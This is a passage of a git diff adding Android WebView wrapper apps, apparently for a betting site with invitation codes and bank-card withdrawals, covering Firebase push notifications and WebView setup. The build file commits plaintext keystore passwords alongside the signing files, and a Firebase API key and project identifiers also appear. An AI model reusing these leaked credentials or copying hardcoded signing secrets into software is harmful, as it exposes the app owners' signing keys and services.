.setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/bigbonus/src/main/java/com/web/bigbonus/WebApplication.java b/bigbonus/src/main/java/com/web/bigbonus/WebApplication.java new file mode 100644 index 0000000..e76fdf8 --- /dev/null +++ b/bigbonus/src/main/java/com/web/bigbonus/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.bigbonus; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/bigbonus/src/main/res/drawable-anydpi/ic_action_back.xml b/bigbonus/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/bigbonus/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/bigbonus/src/main/res/drawable-hdpi/ic_action_back.png b/bigbonus/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/bigbonus/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/bigbonus/src/main/res/drawable-mdpi/ic_action_back.png b/bigbonus/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/bigbonus/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/bigbonus/src/main/res/drawable-v24/ic_launcher_foreground.xml b/bigbonus/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/bigbonus/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/drawable-xhdpi/ic_action_back.png b/bigbonus/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/bigbonus/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/bigbonus/src/main/res/drawable-xxhdpi/ic_action_back.png b/bigbonus/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/bigbonus/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/ttslot888new/nep88/src/main/res/drawable/big_bg.xml b/bigbonus/src/main/res/drawable/big_bg.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable/big_bg.xml rename to bigbonus/src/main/res/drawable/big_bg.xml diff --git a/bigbonus/src/main/res/drawable/ic_launcher_background.xml b/bigbonus/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/bigbonus/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bigbonus/src/main/res/drawable/input_bg.xml b/bigbonus/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/bigbonus/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/bigbonus/src/main/res/drawable/pass_word_bg.xml b/bigbonus/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/bigbonus/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/bigbonus/src/main/res/drawable/pass_word_bg1.xml b/bigbonus/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/bigbonus/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/drawable/pass_word_bg2.xml b/bigbonus/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/bigbonus/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/drawable/shape_btn_bg.xml b/bigbonus/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/bigbonus/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/drawable/shape_dialog_bg2.xml b/bigbonus/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/bigbonus/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/drawable/shape_dialog_bg3.xml b/bigbonus/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/bigbonus/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/drawable/shape_dialog_bg_new.xml b/bigbonus/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/bigbonus/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/bigbonus/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/bigbonus/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/bigbonus/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/bigbonus/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/mipmap-hdpi/ic_empty.png b/bigbonus/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/bigbonus/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/bigbonus/src/main/res/mipmap-hdpi/ic_pull_down.png b/bigbonus/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/bigbonus/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/bigbonus/src/main/res/mipmap-xhdpi/ic_close.png b/bigbonus/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/bigbonus/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/bigbonus/src/main/res/mipmap-xhdpi/ic_menu.png b/bigbonus/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/bigbonus/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/bigbonus/src/main/res/mipmap-xxhdpi/app_logo.png b/bigbonus/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..cebc4ce Binary files /dev/null and b/bigbonus/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/bigbonus/src/main/res/values-en/strings.xml b/bigbonus/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/bigbonus/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/bigbonus/src/main/res/values-night/themes.xml b/bigbonus/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..3b0f1a2 --- /dev/null +++ b/bigbonus/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/values/colors.xml b/bigbonus/src/main/res/values/colors.xml new file mode 100644 index 0000000..7895913 --- /dev/null +++ b/bigbonus/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/bigbonus/src/main/res/values/strings.xml b/bigbonus/src/main/res/values/strings.xml new file mode 100644 index 0000000..c972294 --- /dev/null +++ b/bigbonus/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + BigBonus + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/values/themes.xml b/bigbonus/src/main/res/values/themes.xml new file mode 100644 index 0000000..e1c80ec --- /dev/null +++ b/bigbonus/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/xml/app_updater_paths.xml b/bigbonus/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/bigbonus/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/xml/network_security_config.xml b/bigbonus/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/bigbonus/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/bigbonus/src/main/res/xml/provider_paths.xml b/bigbonus/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/bigbonus/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/bigbonus/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/bigbonus/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/bigbonus/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/bika99/.gitignore b/bika99/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/bika99/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/bika99/build.gradle b/bika99/build.gradle new file mode 100644 index 0000000..06a56b3 --- /dev/null +++ b/bika99/build.gradle @@ -0,0 +1,90 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.bika99" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { +// debug { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } +// release { +// storeFile file('ppn.jks') +// storePassword "2014123456" +// keyAlias 'key0' +// keyPassword "2014123456" +// } + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "bika99" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/bika99/google-services.json b/bika99/google-services.json new file mode 100644 index 0000000..d1e5196 --- /dev/null +++ b/bika99/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "405462162954", + "project_id": "bika99-9fa9d", + "storage_bucket": "bika99-9fa9d.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:405462162954:android:9b65b4de23263a44e389f3", + "android_client_info": { + "package_name": "com.xyz.bika99" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyA-kFt16LVuEVs7c_q4s3KSi2oqjG_JywI" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/bika99/justlet.jks b/bika99/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/bika99/justlet.jks differ diff --git a/bika99/ppn.jks b/bika99/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/bika99/ppn.jks differ diff --git a/bika99/proguard-rules.pro b/bika99/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/bika99/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/bika99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/bika99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/bika99/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/bika99/src/main/AndroidManifest.xml b/bika99/src/main/AndroidManifest.xml new file mode 100644 index 0000000..db6e2b5 --- /dev/null +++ b/bika99/src/main/AndroidManifest.xml @@ -0,0 +1,99 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bika99/src/main/java/com/xyz/bika99/MainActivity.java b/bika99/src/main/java/com/xyz/bika99/MainActivity.java new file mode 100644 index 0000000..145be4f --- /dev/null +++ b/bika99/src/main/java/com/xyz/bika99/MainActivity.java @@ -0,0 +1,57 @@ +package com.xyz.bika99; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; + +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 229; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.bika99.net/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#000000"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + try { + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + }); + }catch (Exception e){ + e.printStackTrace(); + } + + } + + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/bika99/src/main/java/com/xyz/bika99/MyFirebaseMessageingService.java b/bika99/src/main/java/com/xyz/bika99/MyFirebaseMessageingService.java new file mode 100644 index 0000000..e70d612 --- /dev/null +++ b/bika99/src/main/java/com/xyz/bika99/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.bika99; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/bika99/src/main/java/com/xyz/bika99/WebApplication.java b/bika99/src/main/java/com/xyz/bika99/WebApplication.java new file mode 100644 index 0000000..d95c6dc --- /dev/null +++ b/bika99/src/main/java/com/xyz/bika99/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.bika99; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/bika99/src/main/res/drawable-anydpi/ic_action_back.xml b/bika99/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/bika99/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/bika99/src/main/res/drawable-hdpi/ic_action_back.png b/bika99/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/bika99/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/bika99/src/main/res/drawable-mdpi/ic_action_back.png b/bika99/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/bika99/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/bika99/src/main/res/drawable-v24/ic_launcher_foreground.xml b/bika99/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/bika99/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/bika99/src/main/res/drawable-xhdpi/ic_action_back.png b/bika99/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/bika99/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/bika99/src/main/res/drawable-xxhdpi/ic_action_back.png b/bika99/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/bika99/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/bika99/src/main/res/drawable/big_bg.xml b/bika99/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..ce0215e --- /dev/null +++ b/bika99/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git 